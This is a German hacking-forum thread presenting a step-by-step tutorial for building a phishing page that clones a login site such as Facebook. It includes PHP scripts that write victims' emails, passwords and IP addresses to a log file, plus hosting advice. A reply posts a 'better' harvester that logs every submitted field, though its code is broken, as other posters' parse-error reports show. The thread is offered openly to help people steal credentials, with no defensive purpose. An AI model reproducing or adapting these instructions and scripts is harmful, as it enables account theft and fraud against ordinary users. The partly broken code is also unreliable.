5 Antworten in diesem Thema

[PaulaAbdul]

[TUT] Phishing Tutorial by PaulaAbdul


#1 Erstellung einer Phishing Seite


1. Einleitung

Willkommen zum Phishing Tutorial by Paula Abdul. Ich habe dieses Tutorial erstellt,
da es bisher scheinbar kein vergleichbares gibt, welches das Thema ausführlich
behandelt und verständlich erklärt. Die ständigen Fragen, wie eine Phishingseite
erstellt wird, sollten hiermit ein Ende haben.

2. Phishing Seite wählen

Damit die Erstellung einer Phishing Seite unproblematisch und ohne viel Aufwand
möglich ist sollte eine Website gewählt werden, dessen Login Seite sich vollständig
in HTML darstellen lässt. Um das zu testen besuchen wir die Login Seite die wir
kopieren möchten und speichern sie mit einem Browser vollständig (inkl. Bilder etc.)
ab (In Firefox: Menü > Seite speichern unter... > Webseite komplett). Zusätzlich zur
.html-Datei wird somit ein Unterordner erstellt in dem sich die Grafiken befinden.
Dieser Ordner darf nicht umbenannt werden. Wir öffnen nun die gespeicherte Seite
mit dem Webbrowser um zu sehen ob sie ohne Fehler dargestellt wird.

3. Phishing Seite erstellen

Wir öffnen nun die abgespeicherte .html-Seite mit einem Editor (vorzugsweise
Notepad++ oder EditPlus) und drücken Strg+F. In die Suche geben wir jetzt <form
ein. Wir sollten nun das Formular mit den Login-Feldern finden, z.B.:

<form id="login" method="post" action="login.php"  ...

Wenn bei method= ein "get" angegeben ist, muss dieses zu "post" geändert werden.
Hinter action= muss "login.php" angegeben werden.

Nun suchen wir mit <input nach dem ersten Eingabefeld für den Benutzernamen oder
der Emailadresse, z.B.:

<input id="user" name="username" ...

Die ID des inputs kopieren wir nun und fügen sie irgendwo ein wo wir sie wieder finden
(in unserem Fall lautet die ID user). Das selbe machen wir nun mit dem Eingabefeld für das
Passwort, welches sich ebenfalls mit <input finden lässt.

4. Funktion einfügen

Damit die Logindaten, die vom Vic eingegeben werden, auch abgespeichert werden,
erstellen wir nun eine neue Datei login.php und bearbeiten diese ebenfalls mit dem
Editor.

Folgende Vorlage könnt ihr nun einfügen:

<?php
$go = fopen("logs","a+");
$timestamp = time();
$datum = date("d.m.Y - H:i:s", $timestamp);
$mail = $_POST["email"];
$pass = $_POST["pass"];
$ip = $_SERVER['REMOTE_ADDR'];
fwrite($go, "Hoster: Facebookn");
fwrite($go, "Datum: " . "$datum n");
fwrite($go, "E-Mail: " . "$mail n");
fwrite($go, "Password: " . "$pass n");
fwrite($go, "Ip: " . "$ip n");
fwrite($go, " n");
fclose($go);
header('Location: success.html');
?>

Die beiden farbig makierten Begriffe tauscht ihr gegen die zuvor kopierten IDs der
Eingabefelder aus. In unserem Fall müssten wir also email mit user ersetzen. Den
Eintrag Facebook ersetzt ihr mit dem Namen der Website damit ihr wisst um was
für einen Login es sich handelt. Auf die Seite sucess.html wird nach dem Login
weitergeleitet. Deshalb tragen wir dort am besten die URL der originalen Seite ein
die erscheint, wenn man falsche Logindaten eingegeben hat.

Nun speichern wir die Seite ab.

5. Verfügbarkeit einrichten

Wir benötigen nun einen Webspace um die Seite online verfügbar zu machen.
Kostenlose Webspace Anbieter gibt es wie Sand am Meer, allerdings sind diese
meist nicht kicksicher und es muss davon ausgegangen werden, dass der Account
relativ schnell gesperrt wird. Wenn wir den Webspace eingerichtet haben laden
wir alle Dateien, also die mit dem Browser abgespeicherte Login Seite inkl. dem
Ordner mit den Grafiken, und die login.php per FTP hoch (Ein guter FTP Client ist
Filezilla).

Nun fehlt noch die Datei, in der die Logindaten des Vics abgespeichert werden sollen.
Wir haben den Namen dafür bereits in der login.php festgelegt. Wir erstellen also noch
eine Datei mit dem Namen logs ohne Dateiendung und laden diese ebenfalls hoch.
Diese Datei benötigt schreibrechte:
(In Filezilla: Rechtsklick auf die Datei > Dateiberechtigungen > 777 eingeben)

Nun nennen wir die Hauptseite noch in index.html um und können diese nun im Browser
aufrufen und testen. Die Logindaten sollten nach dem Test also in der Datei logs gespeichert
sein.


In den nächsten Teilen erkläre ich, wie ihr eine vernünftige, unauffällige Domain einrichtet,
gebe Tipps und Infos wie sich das ganze optimieren lässt, und zeige euch wie Ihr auch eine
Login Seite erstellen könnt, die sich nicht ausschlie??lich in HTML darstellen lässt.

mfg, PaulaAbdul

[Integer]

Ich habe etwas zu bemängeln, wenn wir schon etwas "phishen", wieso loggen wir die IP Adresse und wieso machen wir das mit $_POST Methoden, einzeln - wieso keine einfache foreach-Schleife um alle geposteten Daten zu speichern auch wenn davon 1/3 möglicherwei??e Dreck sein könnte?
Und wenn das schon für die kleinen Phishernoobs geschrieben ist, dann mach das auch noobtauglich :'D

Dieses Tutorial wurde 1OO % von mir Integer zum ersten mal hier in toolbase.bz veröffentlicht. Ich erlaube euch die freie Nutzung sowie die freie Bearbeitung des Scriptes. Viel Spa??!

<?php
/*
Konfiguration
*/
$url = "https://www.facebook.com/login.php?login_attempt=0";
/* 0 = aus // deaktiviert || 1 = an // aktiviert */
$ip = "1";
$date = "0";
$referer = "0";

/* *** BITTE NICHTS ?„NDERN (falls keine Kenntnisse von PHP - Kommentare vorhanden) *** */
if (empty($_SERVER['HTTP_REFERER'])) {
/* hier checken wir ob es keinen Referer gibt, wenn es tatsächlich keinen geben sollte, stellen wir die Funktion auf 0 */
$referer = "0";
}
header("Location: " . $url ."); /* wir leiten direkt mit der Headerfunktion an die angegebene URL weiter */
$handle = fopen("passwords.txt", "a"); /* wir öffnen via fopen die Datei passwords.txt, falls Sie nicht existiert wird Sie angelegt */
foreach($_POST as $variable => $value) { /* das ist eine Schleife, die alle abgesendeten Daten (also keine bestimmten) mitloggt. */
fwrite($handle, $variable);
fwrite($handle, " = ");
fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn"); /* Abstand bsw. eine Alternative zu <br> in PHP */
/* wir nutzen die Funktion switch (if ist auch möglich) falls die Funktion aktiviert ist bsw. die Variable auf 1 ist und somit aktiviert schreiben wir in die Datei erin */
switch ($ip) {
case 1:
fwrite($handle, "IP Adresse = ". $_SERVER['REMOTE_ADDR'] .");
/* z.B. hier wird die IP rein geschrieben <--> bsw. hier schreiben wir wie oben schon beschrieben die IP rein */
break;
}
switch ($date) {
case 1:
fwrite($handle, "Datum = ". date('d.m.Y - H:i:s', time()) .");
break;
}
switch ($referer) {
case 1:
fwrite($handle, "Referer = ". $_SERVER['HTTP_REFERER'] .");
break;
}
fclose($handle);
/* schlie??en die Datei und schlie??en die Weiterleitung */
exit;
?>

Bearbeitet von Integer, 14 May 2013 - 20:03 Uhr.

[Avni]

Hab nun das von Integer mal versucht... Hab nicht viel Ahnung von PHP aber hab das alles mal kopiert und als *.php gespeichert... Auf Webspace gepackt und wenn ich es nun öffnen will bekomm ich folgende Meldung "Parse error: syntax error, unexpected 'passwords' (T_STRING) in www/FB/Moep.php on line 17"

[paulaner]

evtl. muss die datei password.txt schon existieren.

[Avni]

nope hab ich auch gedacht und gemacht kommt trozdem

[w0tan]

In den nächsten Teilen erkläre ich, wie ihr eine vernünftige, unauffällige Domain einrichtet,
gebe Tipps und Infos wie sich das ganze optimieren lässt, und zeige euch wie Ihr auch eine
Login Seite erstellen könnt, die sich nicht ausschlie??lich in HTML darstellen lässt.

mfg, PaulaAbdul

 

Bis jetzt sind 4 Jahre vergangen.

Als Alternative, falls jemand nicht ausführlich aufgeklärt wurde wegen dem Tutorial.

 

-

-